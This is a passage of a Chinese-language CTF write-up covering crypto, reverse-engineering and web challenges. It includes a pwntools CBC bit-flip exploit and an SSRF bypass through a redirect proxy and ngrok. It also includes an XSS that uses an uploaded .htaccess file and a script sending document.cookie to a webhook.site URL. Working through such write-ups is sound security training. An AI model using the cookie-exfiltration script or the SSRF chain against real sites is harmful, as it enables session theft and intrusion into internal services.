$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*]"
table = "!@#$%^&*(){}[]:;"
binary = ""

for c in ciphertext:
idx = table.index(c)
binary += f"{idx:04b}"

plain = ""
for i in range(0, len(binary), 8):
byte = binary[i:i+8]
if len(byte) < 8:
break
plain += chr(int(byte, 2))

print(plain)

image

Yoshino’s Secret

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import FLAG
import json
import os

KEY = os.urandom(16)

def encrypt(plaintext: bytes) -> bytes:
iv = plaintext[:16]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
return iv + cipher.encrypt(pad(plaintext[16:], AES.block_size))

def decrypt(ciphertext: bytes) -> str:
iv = ciphertext[:16]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)
return plaintext

def check(token):
try:
token = bytes.fromhex(token)
passkey = decrypt(token)
data = json.loads(passkey)
if data["admin"]:
print(f"Here is your flag: {FLAG}")
exit()
else:
print("Access Denied")
except:
print("Hacker detected, emergency shutdown of the system")
exit()

def main():
passkey = b'{"admin":false,"id":"TomotakeYoshino"}'
token = encrypt(os.urandom(16) + passkey)
print(f"token: {token.hex()}")
while True:
token = input("token > ")
check(token)

if __name__ == '__main__':
main()

要讓密文解密後 false 的地方變 true => bit flip 攻擊
exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import json

r = remote("chal.ctf.scint.org", 12002)

r.recvuntil(b"token: ")
token = bytes.fromhex(r.recvline().strip().decode())

iv = token[:16]
ciphertext = token[16:]

false = b'false'
true_ = b'true '

iv = bytearray(iv)
for i in range(5):
iv[9 + i] ^= false[i] ^ true_[i]

new_token = bytes(iv) + ciphertext
r.sendlineafter(b"token > ", new_token.hex().encode())

r.interactive()

image

Speeded Block Cipher

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3
from secret import FLAG
import random
import os

KEY = os.urandom(16)
IV = os.urandom(16)
counter = 0

def pad(text: bytes) -> bytes:
padding = 16 - (len(text) % 16)
return text + bytes([padding]) * padding

def shift_rows(B: list):
M = [B[i: i + 4] for i in range(0, 16, 4)]
M[0][1], M[1][1], M[2][1], M[3][1] = M[1][1], M[2][1], M[3][1], M[0][1]
M[0][2], M[1][2], M[2][2], M[3][2] = M[2][2], M[3][2], M[0][2], M[1][2]
M[0][3], M[1][3], M[2][3], M[3][3] = M[3][3], M[0][3], M[1][3], M[2][3]
return bytes(M[0] + M[1] + M[2] + M[3])

def expand_key(K, PS):
for i in range(PS - 1):
NK = [(~(x + y)) & 0xFF for x, y in zip(K[i], K[i + 1])]
NK = [(x >> 4) | (x << 4) & 0xFF for x in NK]
NK = shift_rows(NK)
K.append(NK)
return K[1:]

def add(plain_block: bytes, expand_key: bytes) -> bytes:
return bytes([((x + 1) ^ y) & 0xff for x, y in zip(plain_block, expand_key)])


def encrypt(plaintext: bytes) -> bytes:
PS = len(plaintext) // 16
P = [plaintext[i: i + 16] for i in range(0, PS * 16, 16)]
K = expand_key([IV, KEY], PS)
C = []
for i, B in enumerate(P):
C.append(add(B, K[i]))
return b"".join(C)

def main():
encrypted_flag = encrypt(pad(FLAG)).hex()
print(f"Here is your encrypted flag: {encrypted_flag}")
while True:
plaintext = input("encrypt(hex) > ")
plaintext = bytes.fromhex(plaintext)
ciphertext = encrypt(pad(plaintext)).hex()
print(f"ciphertext: {ciphertext}")

if __name__ == '__main__':
main()

同個 process 的 IV KEY 是固定的,所以 expand_key 也是固定的
加密邏輯是明文pad後,逐 byte (明文char + 1) XOR expand_key
所以明文都 0,讓密文每 byte 都是 expand_key XOR 1
flag 是三個 block,所以輸入 0 也三個 block,密文第四個 block 是 padding 加密產生的,取前三 block 就好
image
用密文得到 key 再拿來解密 flag
image

Reverse

西

image
chal.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define 掐 char
#define 伊恩窺皮特_弗雷格 enrypted_flag
#define 等於 =
#define 佛以德 void
#define 低窺皮特 decrypt
#define 哀恩踢 int
#define 小於 <
#define 恩 n
#define 佛 for
#define 哀 i
#define 加加 ++
#define 立蘿 0
#define 欸殼斯偶爾等於 ^=
#define 欸服費 0xF5
#define 面 main
#define 衣服 if
#define 欸斯踢阿鏈 strlen
#define 鋪因特欸服 printf
#define 趴欸斯 "%s"

掐 伊恩窺皮特_弗雷格[] 等於 "\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88";

佛以德 低窺皮特(哀恩踢 恩)
{
佛 (哀恩踢 哀 等於 立蘿; 哀 小於 恩; 哀 加加)
{
伊恩窺皮特_弗雷格[哀] 欸殼斯偶爾等於 欸服費;
}
}

哀恩踢 面()
{
衣服 (立蘿)
{
低窺皮特(欸斯踢阿鏈(伊恩窺皮特_弗雷格));
}

鋪因特欸服(趴欸斯, 伊恩窺皮特_弗雷格);
}

還原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdint.h>
#include <string.h>

char enrypted_flag[] = "\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88";

void decrypt(int n)
{
for (int i = 0; i < n; i ++)
{
enrypted_flag[i] ^= 0xF5;
}
}

int main()
{
if (1)
{
decrypt(strlen(enrypted_flag));
}

printf("%s", enrypted_flag);
}

image

time_GEM

image
image
image
進 power,F5
image
把 sleep 秒數 patch 成 0
image
image
apply patch
image
執行 patch 後的
image
image

Python Hunter 🐍

image
把 hunter.cpython-38.pyc 放到 https://pylingual.io/ 轉 py
image
hunter.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import sys as s

def qwe(abc, xyz):
r = []
l = len(xyz)
for i in range(len(abc)):
t = chr(abc[i] ^ ord(xyz[i % l]))
r.append(t)
return ''.join(r)
d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18]
k = 'door_key'
m = 'not_a_key'

def asd(p):
u = 42
v = qwe(d, k)
w = qwe(d, p)
if w == v:
print(f'Correct! {v}')
else:
print('Wrong!')

def dummy():
return len(d) * 2 - 1
if __name__ == '__main__':
if len(s.argv) > 1:
asd(s.argv[1])
else:
print('Please provide a key as an argument.')
dummy()

直接執行說需要參數 key
image

Flag Checker

image
image
進 main,F5
image
先把每個輸入字元做一個循環左位移(ROL)和右位移(ROR)混合,然後再 XOR 0xF
然後要讓 sub_11C9(s) return 1
image
image
三個三個一組,用 dword_4020 求出 a1

1
2
3
4
5
a[i]   + a[i+1] = d[i]
a[i+1] + a[i+2] = d[i+1]
a[i] + a[i+2] = d[i+2]
a0+a1+a2 = (d0+d1+d2)/2 = sum
a0 = sum-d1 = (d0-d1+d2)/2

求出可以讓 sub_11C9(s) return 1 的 a1 後再回推位移
exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def ROR(val, rbits):
return ((val >> rbits) | (val << (8 - rbits))) & 0xFF

# dword_4020 資料(共 33 個值)
dword_4020 = [
0xFA, 0xC5, 0x81, 0x50, 0x9B, 0x75, 0x72, 0x6D, 0xA5,
0xB5, 0x100, 0xD1, 0x171, 0x1C1, 0x160, 0x13B, 0x163,
0x1A2, 0xF7, 0x167, 0x184, 0x155, 0x174, 0x121, 0xD1,
0x8D, 0x80, 0x181, 0x174, 0x1DD, 0x50, 0x00, 0x50
]

x = []

for i in range(0, 33, 3):
d0 = dword_4020[i]
d1 = dword_4020[i+1]
d2 = dword_4020[i+2]

a = (d0 - d1 + d2) // 2
b = d0 - a
c = d1 - b

x.extend([a, b, c])

s = ''
for i in range(len(x)):
decrypted = ROR(x[i] ^ 0xF, i & 7)
s += chr(decrypted)

print("flag:", s)

image

Noo dle

image
chal
main,F5
image
要從output回推輸入(flag)
(變數重新命名後)
image
(__int64)&len8 + 4 = v8[12]
encrypt() 會把輸入 expand 再 swap 再 compress
image
把輸入每一 byte 的 8 bit 都展開放在 8 bytes
image
把每個展開的 8 bit 壓縮回 1 byte
image
把加密結果(bytes)轉 hex str 而已

所以,把輸出轉 bytes 然後逐步推回輸入

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from binascii import unhexlify

# output.txt
cipher_hex = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee"

cipher_bytes = bytearray(unhexlify(cipher_hex))
cipher_bits = []

# 1. 解壓縮 (把每個 byte 拆成 8 個 bits)
for byte in cipher_bytes:
for i in range(8):
bit = (byte >> (7 - i)) & 1
cipher_bits.append(bit)

# 2. 對每 8 個 bit 解 swap(inverse permutation)
def reverse_swap(bits):
for i in range(0, len(bits), 8):
if i + 7 >= len(bits):
break
bits[i + 0], bits[i + 7] = bits[i + 7], bits[i + 0]
bits[i + 1], bits[i + 4] = bits[i + 4], bits[i + 1]
bits[i + 2], bits[i + 5] = bits[i + 5], bits[i + 2]
bits[i + 3], bits[i + 6] = bits[i + 6], bits[i + 3]
return bits

swapped_bits = reverse_swap(cipher_bits)

# 3. 將 bits 組成 bytes
plain_bytes = bytearray()
for i in range(0, len(swapped_bits), 8):
byte = 0
for j in range(8):
if i + j < len(swapped_bits):
byte |= (swapped_bits[i + j] << (7 - j))
plain_bytes.append(byte)

print(plain_bytes)

image

Empty

image
image
入口點像在脫殼,因為不斷對 sub_1060() XOR
image
sub_1060() 脫殼前都是空的

開 gdb 在脫殼後下斷點,就可以看到脫殼後的 sub_1060()
先記錄幾個 offset
image
0x110a => start()
0x11e9 => 脫殼完
0x1060 => sub1060()
用 vmamp 取得基址
image
確認脫殼前 sub_1060() 都是 nop
image
按 c 到脫殼完,可以看到 sub_1060() 正常了
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
gef➤  x/100i 0x555555555060
=> 0x555555555060: endbr64
0x555555555064: push rbp
0x555555555065: mov rbp,rsp
0x555555555068: sub rsp,0x30
0x55555555506c: mov rax,QWORD PTR fs:0x28
0x555555555075: mov QWORD PTR [rbp-0x8],rax
0x555555555079: xor eax,eax
0x55555555507b: mov QWORD PTR [rbp-0x20],0x0
0x555555555083: mov QWORD PTR [rbp-0x18],0x0
0x55555555508b: mov BYTE PTR [rbp-0x10],0x0
0x55555555508f: lea rax,[rip+0xf6a] # 0x555555556000
0x555555555096: mov rdi,rax
0x555555555099: mov eax,0x0
0x55555555509e: call 0x555555555030 <printf@plt>
0x5555555550a3: lea rax,[rbp-0x20]
0x5555555550a7: mov rsi,rax
0x5555555550aa: lea rax,[rip+0xf5b] # 0x55555555600c
0x5555555550b1: mov rdi,rax
0x5555555550b4: mov eax,0x0
0x5555555550b9: call 0x555555555040 <__isoc99_scanf@plt>
0x5555555550be: mov DWORD PTR [rbp-0x28],0x0
0x5555555550c5: jmp 0x555555555107
0x5555555550c7: mov eax,DWORD PTR [rbp-0x28]
0x5555555550ca: cdqe
0x5555555550cc: movzx eax,BYTE PTR [rbp+rax*1-0x20]
0x5555555550d1: xor eax,0xffffffab
0x5555555550d4: mov ecx,eax
0x5555555550d6: mov eax,DWORD PTR [rbp-0x28]
0x5555555550d9: cdqe
0x5555555550db: lea rdx,[rip+0x2f1e] # 0x555555558000
0x5555555550e2: movzx eax,BYTE PTR [rax+rdx*1]
0x5555555550e6: cmp cl,al
0x5555555550e8: je 0x555555555103
0x5555555550ea: lea rax,[rip+0xf20] # 0x555555556011
0x5555555550f1: mov rdi,rax
0x5555555550f4: call 0x555555555010 <puts@plt>
0x5555555550f9: mov edi,0x0
0x5555555550fe: call 0x555555555050 <exit@plt>
0x555555555103: add DWORD PTR [rbp-0x28],0x1
0x555555555107: cmp DWORD PTR [rbp-0x28],0xf
0x55555555510b: jle 0x5555555550c7
0x55555555510d: lea rax,[rip+0xf04] # 0x555555556018
0x555555555114: mov rdi,rax
0x555555555117: call 0x555555555010 <puts@plt>
0x55555555511c: mov DWORD PTR [rbp-0x24],0x0
0x555555555123: jmp 0x55555555515f
0x555555555125: mov eax,DWORD PTR [rbp-0x24]
0x555555555128: cdqe
0x55555555512a: lea rdx,[rip+0x2eef] # 0x555555558020
0x555555555131: movzx ecx,BYTE PTR [rax+rdx*1]
0x555555555135: mov eax,DWORD PTR [rbp-0x24]
0x555555555138: cdq
0x555555555139: shr edx,0x1c
0x55555555513c: add eax,edx
0x55555555513e: and eax,0xf
0x555555555141: sub eax,edx
0x555555555143: cdqe
0x555555555145: movzx eax,BYTE PTR [rbp+rax*1-0x20]
0x55555555514a: xor ecx,eax
0x55555555514c: mov eax,DWORD PTR [rbp-0x24]
0x55555555514f: cdqe
0x555555555151: lea rdx,[rip+0x2ec8] # 0x555555558020
0x555555555158: mov BYTE PTR [rax+rdx*1],cl
0x55555555515b: add DWORD PTR [rbp-0x24],0x1
0x55555555515f: mov eax,DWORD PTR [rbp-0x24]
0x555555555162: cmp eax,0x24
0x555555555165: jbe 0x555555555125
0x555555555167: lea rax,[rip+0x2eb2] # 0x555555558020
0x55555555516e: mov rsi,rax
0x555555555171: lea rax,[rip+0xea9] # 0x555555556021
0x555555555178: mov rdi,rax
0x55555555517b: mov eax,0x0
0x555555555180: call 0x555555555030 <printf@plt>
0x555555555185: mov eax,0x0
0x55555555518a: mov rdx,QWORD PTR [rbp-0x8]
0x55555555518e: sub rdx,QWORD PTR fs:0x28
0x555555555197: je 0x55555555519e
0x555555555199: call 0x555555555020 <__stack_chk_fail@plt>
0x55555555519e: leave
0x55555555519f: ret
0x5555555551a0: lea rsi,[rip+0xfffffffffffffeb9] # 0x555555555060
0x5555555551a7: mov rdi,rsi
0x5555555551aa: and rdi,0xfffffffffffff000
0x5555555551b1: mov rsi,0x1000
0x5555555551b8: mov rdx,0x7
0x5555555551bf: mov rax,0xa
0x5555555551c6: syscall
0x5555555551c8: lea rsi,[rip+0xfffffffffffffe91] # 0x555555555060
0x5555555551cf: mov rcx,0x13e
0x5555555551d6: lea rdi,[rip+0x2e68] # 0x555555558045
0x5555555551dd: mov al,BYTE PTR [rdi]
0x5555555551df: xor BYTE PTR [rsi],al
0x5555555551e1: inc rsi
0x5555555551e4: inc rdi
0x5555555551e7: loop 0x5555555551dd
0x5555555551e9: call 0x555555555060
0x5555555551ee: mov rax,0x3c
0x5555555551f5: xor rdi,rdi
0x5555555551f8: syscall
0x5555555551fa: add BYTE PTR [rax],al

分析 sub_1060()
看存取的位置是什麼data
image
image
把此時的記憶體dump下來
image
empty_dump 雖然不是正確ELF格式,但還是可以丟ida
image
image
offset 0x4000 對應到 0x555555558000,在剛剛的gdb中,這些在執行 sub_1060() 時已經被改成亂碼

根據反編譯的結果,只要輸入正確密碼,就會算出flag

1
2
3
offset4000 = [0xea,0xc0,0xc2,0xd1,0xde,0xc0,0xc2,0xe0,0xca,0xc5,0xc5,0xca,0x9a,0x9b,0x9e,0x9b]
password = ''.join([chr(x ^ 0xab) for x in offset4000])
print(password)

AkizukiKanna1050
image

Demon Summoning

image
Ancient_Parchment 打開都是亂碼
chal.exe 直接執行
image
然後再按一下就關閉

用ida開 main,函數名稱都看不出是什麼,一個一個點進去看,用 windows api 的名稱和執行時的狀況猜測函數用途
(以下都是函數、變數重新命名過)
image
字串對照
image
根據 main,要讓 open_read() 是 false,才會去新增並寫檔,推測新增的檔案與flag有關

image
傳入參數是一個 buffer
AbyssalCircle/Melon_Bun,把內容讀到 buffer
AbyssalCircle/Ancient_Parchment,把內容(亂碼)讀到 &cipher
如果 buffer 內容是 Satania's favorite,就回傳 0

image
先把 cipher 解密,然後新增檔案,把解密後的cipher寫入

所以,跟 chal.exe 同目錄下新增一個資料夾 AbyssalCircle,把題目給的 Ancient_Parchment 放進去,並在裡面新增 Melon_Bun
image

再次執行 chal.exe
image
多出 png
image
image

Feedback

填完表單,解base64,取得圖片
flag

賽後解出

(web) proxy | under_development

image
image
image
開放在外網的http://chal.ctf.scint.org:10068/proxy/release/src/
在內網的 secret.flag.thjcc.twproxy/release/flag/
src/app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');
const urlModule = require('url');
const dns = require('dns');
const { http: followHttp, https: followHttps } = require('follow-redirects');

const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

function CheckSeheme(scheme) {
return scheme.startsWith('http://') || scheme.startsWith('https://');
}

app.get('/fetch', (req, res) => {
const scheme = req.query.scheme;
const host = req.query.host;
const path = req.query.path;
if (!scheme || !host || !path) {
return res.status(400).send('Missing parameters');
}
const client = scheme.startsWith('https') ? followHttps : followHttp;
const fixedhost = 'extra-' + host + '.cggc.chummy.tw';

if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
return res.send('Development in progress! Service temporarily unavailable!');
}

const url = scheme + fixedhost + path;
const parsedUrl = new urlModule.URL(url);

dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => {
if (err) {
console.log('DNS lookup failed!');
}
if (address == '172.32.0.20') {
return res.status(403).send('Sorry, I cannot access this host');
}
});

if (parsedUrl.hostname.length < 13) {
return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');
}

client.get(url, (response) => {
let data = '';

response.on('data', (chunk) => {
data += chunk;
});

response.on('end', () => {
res.send(data);
});
}).on('error', (err) => {
res.status(500).send('Failed to fetch data from the URL');
});
});

app.listen(3000, '0.0.0.0', () => {
console.log('Server running on http://0.0.0.0:3000');
});

flag/app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const express = require("express");
const { FLAG } = require("./secret");

const app = express();

app.get('/flag', (req, res) => {

if (req.path === '/flag'){ // WTF?
return res.send('I have said the service is temporarily unavailable now! (;′⌒`)');
}

if (req.hostname === 'secret.flag.thjcc.tw')
return res.send(FLAG);
else
return res.send('Sorry, you are not allowed to access this page (;′⌒`)');
});

app.listen(80, 'secret.flag.thjcc.tw');

bypass

  1. https:/ 繞過 CheckSeheme()

  2. @ 截斷前面,/? 截斷後面,兩者之間就會解析為 hostname

  3. 自己架一個 proxy 放在 hostname,proxy 會重導向到 secret.flag.thjcc.tw/flag
    使 dns.lookup() 不會解析出 172.32.0.20(secret.flag.thjcc.tw),並且因為

    1
    const client = scheme.startsWith('https') ? followHttps : followHttp;

    client.get() 會自動跟隨重導向

    proxy.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from flask import Flask, redirect, url_for

    app = Flask(__name__)

    @app.route('/')
    def home():
    return redirect("http://secret.flag.thjcc.tw/flag/")


    if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0',port=48763)

    image

    用 ngrok 讓外網可以存取 http://127.0.0.1:48763
    └─$ ngrok http 48763
    image

  4. /flag/ 繞過 if (req.path === '/flag'),path 參數不留空就好

  5. 最終 payload
    http://chal.ctf.scint.org:10068/fetch?scheme=http:&host=@f12a-111-83-236-102.ngrok-free.app/?&path=1
    image

(web) iCloud☁️

image
image
bot/app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const puppeteer = require("puppeteer");

const FLAG = process.env.FLAG || "THJCC{fake_flag}";
const SITE_URL = process.env.SITE_URL || "http://web/";

const sleep = async (s) =>
new Promise((resolve) => setTimeout(resolve, 1000 * s));

const visit = async (url) => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
args: ["--disable-gpu", "--no-sandbox"],
executablePath: "/usr/bin/chromium-browser",
});
const context = await browser.createIncognitoBrowserContext();

// create flag cookie, you need to steal it!
const page = await context.newPage();
await sleep(1);
await page.setCookie({ name: "flag", value: FLAG, domain: "web" });
await sleep(1);
await page.goto(url, { waitUntil: "networkidle0" });
await sleep(5);
await page.close();
} catch (e) {
console.log(e);
} finally {
if (browser) await browser.close();
}
};

module.exports = visit;

bot/bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const puppeteer = require("puppeteer");

const FLAG = process.env.FLAG || "THJCC{fake_flag}";
const SITE_URL = process.env.SITE_URL || "http://web/";

const sleep = async (s) =>
new Promise((resolve) => setTimeout(resolve, 1000 * s));

const visit = async (url) => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
args: ["--disable-gpu", "--no-sandbox"],
executablePath: "/usr/bin/chromium-browser",
});
const context = await browser.createIncognitoBrowserContext();

// create flag cookie, you need to steal it!
const page = await context.newPage();
await sleep(1);
await page.setCookie({ name: "flag", value: FLAG, domain: "web" });
await sleep(1);
await page.goto(url, { waitUntil: "networkidle0" });
await sleep(5);
await page.close();
} catch (e) {
console.log(e);
} finally {
if (browser) await browser.close();
}
};

module.exports = visit;

web/apache2.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
DefaultRuntimeDir ${APACHE_RUN_DIR}

PidFile ${APACHE_PID_FILE}

Timeout 300

KeepAlive On

MaxKeepAliveRequests 100

KeepAliveTimeout 5

User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

HostnameLookups Off

ErrorLog ${APACHE_LOG_DIR}/error.log

LogLevel warn

IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

Include ports.conf

<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>

<DirectoryMatch ^/var/www/html/uploads/.+>
Options +Indexes
AllowOverride FileInfo
DirectoryIndex disabled
<FilesMatch "^.*\.ph.*$">
SetHandler none
ForceType text/html
Header set Content-Type "text/html"
</FilesMatch>
</DirectoryMatch>

AccessFileName .htaccess

<FilesMatch "^\.ht">
Require all denied
</FilesMatch>

LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

IncludeOptional conf-enabled/*.conf

IncludeOptional sites-enabled/*.conf

web/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload</title>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h2>Upload File</h2>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="file">Choose file</label>
<input type="file" class="form-control-file" id="file" name="file">
</div>
<button type="submit" class="btn btn-primary">Upload</button>
</form>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>
</html>

web/report.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
$BOT_PORT = getenv("BOT_PORT") ?: 8080;
$BOT_HOST = getenv("BOT_HOST") ?: "bot";
$SITE_URL = getenv("SITE_URL") ?: "http://web/";

$response = null;

if ($_SERVER["REQUEST_METHOD"] === "POST") {
if (!isset($_POST["url"]) || empty($_POST["url"])) {
$response = "Invalid URL";
} else {
$url = $_POST["url"];
$pattern = "/^" . preg_quote($SITE_URL, "/") . "uploads\/[^\/]+\/?$/";

if (!preg_match($pattern, $url)) {
$response = "Invalid URL";
} else {
try {
$client = stream_socket_client("tcp://$BOT_HOST:$BOT_PORT", $errno, $errstr, 5);
if (!$client) {
throw new Exception("Failed to connect: $errstr ($errno)");
}

fwrite($client, $url);
$response = "";

while (!feof($client)) {
$response .= fgets($client, 1024);
}
fclose($client);
} catch (Exception $e) {
error_log($e->getMessage());
$response = "Something is wrong...";
}
}
}
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Report to Admin</title>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>

<body>
<div class="container mt-5">
<h2>Report to Admin</h2>
<form method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="url">Enter url</label>
<input type="text" class="form-control-file" id="url" name="url">
</div>
<button type="submit" class="btn btn-primary">Report</button>
</form>
<?php if ($response !== null): ?>
<br>
<div style="border-width: 3px;border-style: solid; border-radius: 10px;padding: 10px;">
<h3>Result:</h3>
<pre><?php echo htmlspecialchars($response, ENT_QUOTES, 'UTF-8'); ?></pre>
</div>
<?php endif; ?>

</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>

</html>

web/upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$uploadDir = 'uploads/';
$filesize = 10 * 1024 * 1024;
$randomString = bin2hex(random_bytes(8));
$uploadPath = $uploadDir . $randomString . '/';
$uploadFile = $uploadPath . basename($_FILES['file']['name']);

if ($_FILES['file']['size'] > $filesize){
echo "YOASOBI (your file so big)";
}else{
mkdir($uploadPath, 0777, true);

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File successfully uploaded.";
echo '<br>'."<a href=/$uploadFile>$uploadFile</a>";
} else {
echo "File upload failed.";
}
}

} else {
echo "No file uploaded or there was an error uploading the file.";
}
} else {
echo "Invalid request method.";
}
?>

上傳 test.html 會出現在像是http://chal.ctf.scint.org/uploads/30f9c0fc015a9ad4/test.html

但 report.php 和 bot 只接受路徑 ^http://web/uploads/[^/]+/?$
=> uploads/ 後面只能有 1或0 個 / => 只能像是 http://web/uploads/30f9c0fc015a9ad4/

bot 會給此路徑 set-cookie 為 FLAG

快速解:
^http://web/uploads/[^/]+/?$ 可用 \ 替代 / 繞過
payload http://web/uploads/032a0ae2eb64fa2c\solve.html

預期解攻擊原理:

1
2
3
4
5
6
7
8
9
10
<DirectoryMatch ^/var/www/html/uploads/.+>
Options +Indexes
AllowOverride FileInfo
DirectoryIndex disabled
<FilesMatch "^.*\.ph.*$">
SetHandler none
ForceType text/html
Header set Content-Type "text/html"
</FilesMatch>
</DirectoryMatch>

.htaccess 可覆寫,且有開 +Indexes
=> 上傳 .htaccess,用 HeaderName [path] 讓之前上傳的 html 作為 Indexes 的標題
ex. html 內容是 <h1>Hello World</h1>
image

=> bot 瀏覽 .htaccess 的路徑 http://web/uploads/balabala/ 時就會執行那個 html 裡面的偷cookie JS

攻擊步驟:
先上傳
solve.html => uploads/032a0ae2eb64fa2c/solve.html

1
<script>fetch('https://webhook.site/d93341e1-e5f3-45e3-9245-7961683d3bb8?c='+document.cookie)</script>

再上傳
.htaccess => uploads/30f9c0fc015a9ad4/.htaccess

1
HeaderName ../032a0ae2eb64fa2c/solve.html

http://chal.ctf.scint.org/uploads/30f9c0fc015a9ad4/ 確認有偷到 cookie
image
給 report.php
image
image

(pwn)Bank Clerk

chal.c

